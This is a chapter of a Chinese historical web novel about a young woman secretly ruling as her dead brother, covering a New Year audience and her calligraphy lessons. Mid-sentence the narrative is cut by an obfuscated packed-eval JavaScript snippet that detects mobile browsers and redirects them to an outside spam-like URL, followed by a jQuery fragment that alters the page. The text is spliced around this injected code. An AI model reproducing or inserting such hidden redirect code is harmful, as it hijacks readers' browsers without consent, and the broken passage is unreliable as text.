元日。
正是辞旧迎新之时。
金陵城外的寒风裹挟着细雪，吹过宫墙，卷起檐角的铜铃，发出清脆的声响。
按照朝廷惯例，这一日要举行元日朝会，群臣聚集在东阁内，依品轶高低轮流向皇帝贺拜，向皇帝进献寿酒，皇帝则赐下御膳，宴饮歌舞，兴尽方散。
今年有些例外。
旧年冬月底，大楚武帝萧胥驾崩，到如今堪堪一个月。国丧之期刚过，一切从简。御阶下，群臣列次而立，衣冠整齐，神情肃穆。
萧含光着帝王冕服，高坐于御台之上。她身形瘦薄，着此宽袍颇有些弱不胜衣之感，只得努力将背脊挺直些，作出庄重模样来。好在从前太孙身体不好，形容消瘦，倒也无人觉得有异样。
距离她最近者为文官之首司徒公齐鸿。
这位国舅爷今年已是五十六岁的年龄，虽两鬓斑白，并不显老态。他出班走到皇帝御座前跪下，将屠苏酒酌满一斟，进献给黄门郎，再由黄门郎跪献至御台前。齐鸿又自斟一杯，跪奏道：“臣齐鸿奉觞再拜，恭祝陛下龙体安泰，万寿无疆。”
百官一起伏地，三呼万岁。
萧含光举起酒爵，心中涌起一阵恍惚。一个多月前，她还是药师庵中的“阿苦”，如今却成了这天下至尊。
冕旒垂下的白玉珠帘微微晃动，遮住了她眼中的复杂情绪。她目光淡扫过跪列的文武大臣，朗声道：“众卿平身。历岁惟新，朕与诸卿同贺之。”她将酒爵奉至唇前，饮了一口，咽下其中辛辣味道。百官起身，一起端起屠苏酒，一饮而尽。萧含光又命赐下御食，众臣依位次入席进食。
酒食已毕，黄门郎宣布散朝并休沐七日。过了初七“人日”后，百官才复朝。在众臣恭祝声中，萧含光离席，乘上御辇，在宫人的导引下，向正光殿行去。
御辇为八人所抬，行走极稳。萧含光端坐帷幔之中，龙纹冕服下方垂坠的繁复縠纱都不曾晃动分毫，唯有清风徐入时，天子额前的白玉冕旒轻轻作响。无人知晓她背上衣衫已被汗水洇湿。
此刻距离她大婚已过去一个月。那日她以皇太孙萧樗的身份在灵前匆匆继位，彼时皇帝大丧，朝中诸事繁杂，又因为皇太孙素来身体欠佳，治丧之事多由太皇太后和国舅爷做主，她只在丧礼时按黄门郎的导引完成规定的仪式。
丧仪之后，太皇太后派了两位宫廷女官到她身边。
一位是从前皇太孙身边的掌事女官楚秋筠，教她模仿从前皇太孙萧樗的举止仪态、行为习惯等，使她的举止行为尽可能与萧樗相似。
另外一位则是太皇太后身边的女史白令瑶，教导她各种皇帝需知的宫廷礼仪及朝堂常识。如皇帝面对百官时，需自称为“朕”，称呼臣子为“爱卿”或“某卿”。又譬如本朝一应典章制度承汉魏，朝中自三公九卿以下，各有职司，地方有一百五十郡，各郡有太守、都尉分辖行政、军事诸务。又譬如本朝选官循前朝旧制，各部官员多依门第，由地方推选。萧含光从小在庵堂长大，对这些宫内本应熟知的常理一窍不通，只好日夜用功，将女官所教囫囵吞枣地咽下。
今日的元日朝会，是她第一次以皇帝的身份单独面见群臣。虽没有出什么差错，也惊出一身冷汗。
她回到正光殿时，两位宫廷女官楚秋筠和白令瑶正在殿檐下等她。
楚秋筠微微躬身，低声道：“陛下今日表现甚好，诸大臣无人怀疑陛下的身份，太皇太后很是满意。”
萧含光颔首，不动声色道：“朕知道了。”
白令瑶亦道：“陛下十分用功，比我预计的进展更快，我已经没什么可以教导陛下了。太皇太后有旨，我二人的职司已经完成，明日将由她亲自教导陛下为君之道。”
萧含光心中一紧。虽然时间已经过去一个月，那晚椒房殿发生的事和太皇太后那怨毒的眼神，仍然是她心中挥之不去的阴影，实在不怎么愿意面对那位与她有着血缘之亲的祖母。
然而，在严苛的太皇太后面前，她没有说“不”的权利。萧含光也不愿意表现出胆怯，她压下心中的不安，淡淡道：“好。”
白令瑶随着她进入内殿，将一扎字帖放在书案上：“太皇太后口谕，陛下虽十分用功，但所书字迹与太孙殿下差别极大。在接下来的三个月，陛下需每日临金钩贴三张，直到神形俱似为止。”
萧含光瞥了一眼字帖，问道：“朕何时可以面见母后？”
白令瑶道：“陛下放心，苏太后平安无事。陛下只要能达到太皇太后的要求，自然不难见到娘娘。”
萧含光心中叹了一口气，她知道，这是太皇太后的又一次要挟。母亲是她在这深宫中唯一的牵挂，她很清楚，自己必须更加谨慎，才能保护母亲的安全。
她答道：“朕知道了，你们下去吧。”
两名女官行礼之后，退了出去。
萧含光展开桌上的字帖，金粉在幽晦的日光下泛起细碎的冷光，萧樗纤薄绮丽的字锋从纸面透出，那是一首五言乐府。
生年不满百，常怀千岁忧。
昼短苦夜长，何不秉烛游。
为乐当及时，何能待来兹。
愚者爱惜费，但为后世嗤。
仙人王子乔，难可与等期。
萧含光这段时日从女官楚秋筠口中，对哥哥的生平有了更多了解。她这位兄长平生耽溺声色，实在乏善可陈，唯一可称道之处便是自创了这名为“金钩细”的书法。
时人书法多效法前朝王右军，以自然流畅、形意生动为美。萧樗偏偏反其道而行之，书法险峻而靡丽。起笔纤巧，行至中段却陡然绷紧，似一把拉满的弓弧；末梢回钩时又猝然开裂，绽出一两道极细的岔枝。竖笔纤细得近乎透明，往往在收势时向左侧斜斜一挑，勾出一道金钩。
萧樗平日写字喜欢用洒金笺，再在云烟墨中掺上金粉，临写出来的字帖，如同镂金刻缕，华艳非常。若在日光下看时，觉金光烁烁，有金鸾引颈之妍态，若在烛光下看时，又觉冷光寂寂，见冷月钩沉之清骨。
金陵书法名家见之，盛赞不已，以“金钩细”称之。萧樗虽因时常生病的缘故，甚少出门见人，然其所写字帖风靡京中，但凡达官贵人、雅士骚客莫不以能得其墨宝为荣。
看着这幅字帖，萧含光忽想到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279684|182500||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那日在药师庵齐宝珠所言。
“阿樗前日见了皇妹抄的《金刚经》，还夸皇妹字写得极好呢，说自己就算再练一百年，也写不得像皇妹一样的好字……”
……
当日她听到这番话时，心中并没有太多感想，以为她的哥哥果真只是夸她的字写的好。现在她知道了，也许在哥哥心中，并非如她所想，全无一点兄妹之情。
宋海晏曾在她面前夸赞自己的妹妹，语气极骄傲，她能听出他对妹妹的想念。那样的夸赞是一种出于血缘的偏爱与羁绊，是自然的情感流露，并非因为自己的妹妹天下间谁都比不上。
皇太孙萧樗的书法已臻于大家之境，仍在太孙妃面前夸赞妹妹的字，言辞之中未必没有同样的想念与羁绊。
只是那时她不懂，后来再也没有机会去懂。
她的哥哥已经死了，现在她成了她的哥哥。
她从书案上取了一张洒金笺，开始临写这首乐府诗。
生年不满百，常怀千岁忧。
她想，她的哥哥贵为皇子王孙，却也寿数不永，长怀忧愁。人生在世，谁能长乐而无忧？不过痴妄罢了。
这时，她听到了殿外传来了一阵琴声，那声音清越处如远山松涛，清微而淡远；幽咽处又似冰泉寒流，低涩而绵长。
萧含光长于寺庙，不识音律，偏在此时此刻从那琴声中听出了人世无常、无所依傍的幽恨滋味。人人皆生于这一方阎浮世界，又被分隔于各自的小世界。偶有殊遇，遽又分别。自承悲喜，各不相通。
不知那弹琴者谁，又为何在此刻，奏出这般别恨呢？
她心中一动，唤道：“白女史。”
白令瑶旋即来到她面前，行礼道：“陛下，有何吩咐？”
萧含光问道：“是何人在弹琴？”
“是齐韶齐公子。”白令瑶补充道：“他从前是东宫詹事，也是太皇太后的侄孙。太皇太后信任他，常邀他议事，命他在离此不远的清曜殿居住。他经常弹琴自娱，陛下第一次听到吗？”
萧含光仔细回想一番，之前似乎也曾听到琴声，只是如风声过耳，印象并不深刻。不像这次，那琴声清透幽远，穿透风雪，穿透层层宫殿与回廊，宛转落于她的耳中。
“齐韶？”萧含光念了一下这个名字，恍惚记起曾从齐宝珠的口中听到过她这位族兄的名字，那时，她还曾有意将他许给自己做驸马。
说起来那不过是旧年春天的事，如今忆起，却似乎已经恍如隔世了。
她抬起头，走到窗边，看向不远处的殿宇。
这是元宁初年的元日。雪霁初晴，宫廷的琉璃瓦上覆着一层薄薄的素雪，映着天光，泛起淡淡的青白色。天际处，几缕流云如轻纱般缓缓游移，透出微蓝的底色，恍若瓷釉上晕开的淡彩，宁静而深远。偶尔有风掠过，卷起几片细碎的雪沫，在光线中闪烁如星，旋即又归于沉寂。
她听到弹琴人自弹且唱，那琴歌穿过宫檐时，连风声都为之一停。
“虽有好音，谁与清歌？虽有姝颜，谁与发华？
仰讯高云，俯托轻波。乘流远遁，抱恨山阿。”